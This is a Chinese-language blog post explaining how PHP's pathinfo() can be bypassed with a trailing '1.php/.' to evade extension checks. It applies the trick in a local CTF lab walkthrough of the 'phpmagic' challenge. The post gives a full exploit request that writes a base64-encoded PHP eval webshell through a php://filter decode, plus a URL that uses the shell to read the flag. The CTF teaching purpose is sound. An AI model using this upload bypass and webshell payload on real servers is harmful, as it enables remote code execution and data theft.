pathinfo两三事

阅读量    80939 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前尘往事

前段时间看到了这样一段代码

$pathinfo = pathinfo($this->file->getName());
$ext = $pathinfo['extension'];
$filename = $pathinfo['filename']. '.' . $ext;

当时一看文件名可控,这不妥妥的任意文件上传嘛,但是尝试了发现并不可行,于是进行了简单的调试,调试的结果如图

pathinfo(path,options) pathinfo() 函数以数组的形式返回关于文件路径的信息。

参数 描述
path 必需。规定要检查的路径。
options 可选。规定要返回的数组元素。默认是 all。

返回的数组元素如下:

  • [dirname] : 目录路径
  • [basename]: 文件名
  • [extension]: 文件后缀名
  • [filename]: 不包含后缀的文件名

根据 / 获取到文件名,根据 . 获取到文件后缀名,再将不包含后缀的文件名和文件后缀名进行了拼接。

因为 pathinfo 对文件名进行了处理,所以无法实现跨目录的上传。默默记下这个函数,自认为就是最安全的上传处理函数了,但是通过搜索,发现仍然存在绕过的可能。

 

中流砥柱

关于pathinfo 的绕过基本上都是针对于后缀名的检测,利用 1.php/. 绕过对后缀名的检测,如下代码

<?php
$name = $_GET['name'];
var_dump($name);
$pathinfo_name=pathinfo($name);
var_dump($pathinfo_name);
highlight_file(__FILE__);
?>

我们可以看到当传入的参数是 1.php/. 时 pathinfo 获取的文件的后缀名为NULL

$pathinfo[extension]=pathfo($name,PATHINFO_EXTENSION) 获取文件后缀名时时获取的 . 后面的内容,当出现多个 . 时,结果为最后一个 . 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。

$pathinfo[filename]=pathfo($name,PATHINFO_FILENAME) 获取不包含后缀的文件名时,获取的是最后一个/ 和最后一个. 中间的部分,所以无法实现跨目录的上传。

这篇文章中的利用方法有异曲同工之妙

 

继往开来

就以 P 神 code-breaking 中的 easy – phpmagic 为例继续分析

利用 docker-compose 可以很方便的启动,在启动的时候出现了一点点问题,感谢 @逸翔 大佬帮助我解决这个问题

还是将安装 docker 和 docker-compose 的指令再写一遍

# 卸载旧版本
sudo apt-get remove docker docker-engine docker.io containerd runc
# 更新 apt 包索引
sudo apt-get update
# 安装 apt 依赖包,用于通过HTTPS来获取仓库
sudo apt-get install \
>     apt-transport-https \
>     ca-certificates \
>     curl \
>     gnupg-agent \
>     software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
sudo add-apt-repository \
>    "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \
>   $(lsb_release -cs) \
>   stable"
# 更新 apt 包索引
sudo apt-get update
# 安装最新版本的 Docker Engine-Community 和 containerd
sudo apt-get install docker-ce docker-ce-cli containerd.io
# 使用 gituhb 源下载 docker-compose
sudo curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
# 赋予权限
sudo chmod +x /usr/local/bin/docker-compose
# 添加当前用户到 docker 组
sudo gpasswd -a ${USER} docker

启动成功之后如图所示

访问 http://127.0.0.1:8082/index.php?read-source= 可以获取得到网站源码

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

?>
<?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; ?>

代码中似乎有两处可疑的漏洞点

  • $output = shell_exec($command);
  • file_put_contents($log_name, $output);

首先是第一处直接获取了 POST 传入的参数 $domain ,并拼接到 $command 中之后执行,但是利用了 escapeshellarg 处理了参数, escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。 但escapeshellarg 也是存在参数注入的(tar、find、ls、wget、.bat、sendmail、curl、mysql、unzip 等) dig 并不在范围之内,所以此处无法利用。

第二次是 file_put_contents 文件写入,注意到两个参数最后都是可控的,只不过中间都进行了处理

文件名变量 $log_name 是由 \$_SERVER[‘SERVER_NAME’] 和 $_POST[‘log’] 决定的。

我们在docker 里面添加一个文件var_dump($_SERVER['SERVER_NAME']);,尝试进行输出分析 docker cp server.php 938814cbd79f:/var/www/html/server.php

所以由 \$_SERVER[‘SERVER_NAME’] 和 $_POST[‘log’] 提供的文件名变量就变得完全可控了,虽然还是要经过 if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) 判断,但是根据之前的知识点 1.php/. 就可以实现绕过

尝试构造一下

因为我利用的是本地的 docker 环境,所以就进入docker 内查看了目录,应该是 md5($_SERVER['REMOTE_ADDR']) 目录下

接着对文件内容进行分析,我们注意到文件内中有一部分就是我们输入的内容

但是对内容进行了转义,无法写入 <

之前对这种情况进行过详细的分析 file_put_contents & php://filter 可以通过 php 伪协议+ base64 编码实现绕过

POST / HTTP/1.1
Host: php
Content-Length: 108
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8082
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8082/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

domain=PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8%2B&log=://filter/write=convert.base64-decode/resource=shell.php/.

http://127.0.0.1:8082/data/3b1412753f475cc969c37231dd6eaea2/shell.php?cmd=var_dump(scandir(%27../../../%27));highlight_file(%27../../../flag_phpmag1c_ur1%27);

注意:

  • 写进的文件不可以再被重写
  • 写入的 base64 编码不能有符号,否则会出现解码错误
  • dig接受的参数不允许过长,否则直接返回空,所以payload需要尽可能的短一些
  • disable_functions 基本禁用了命令执行相关函数,所以需要另辟蹊径
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多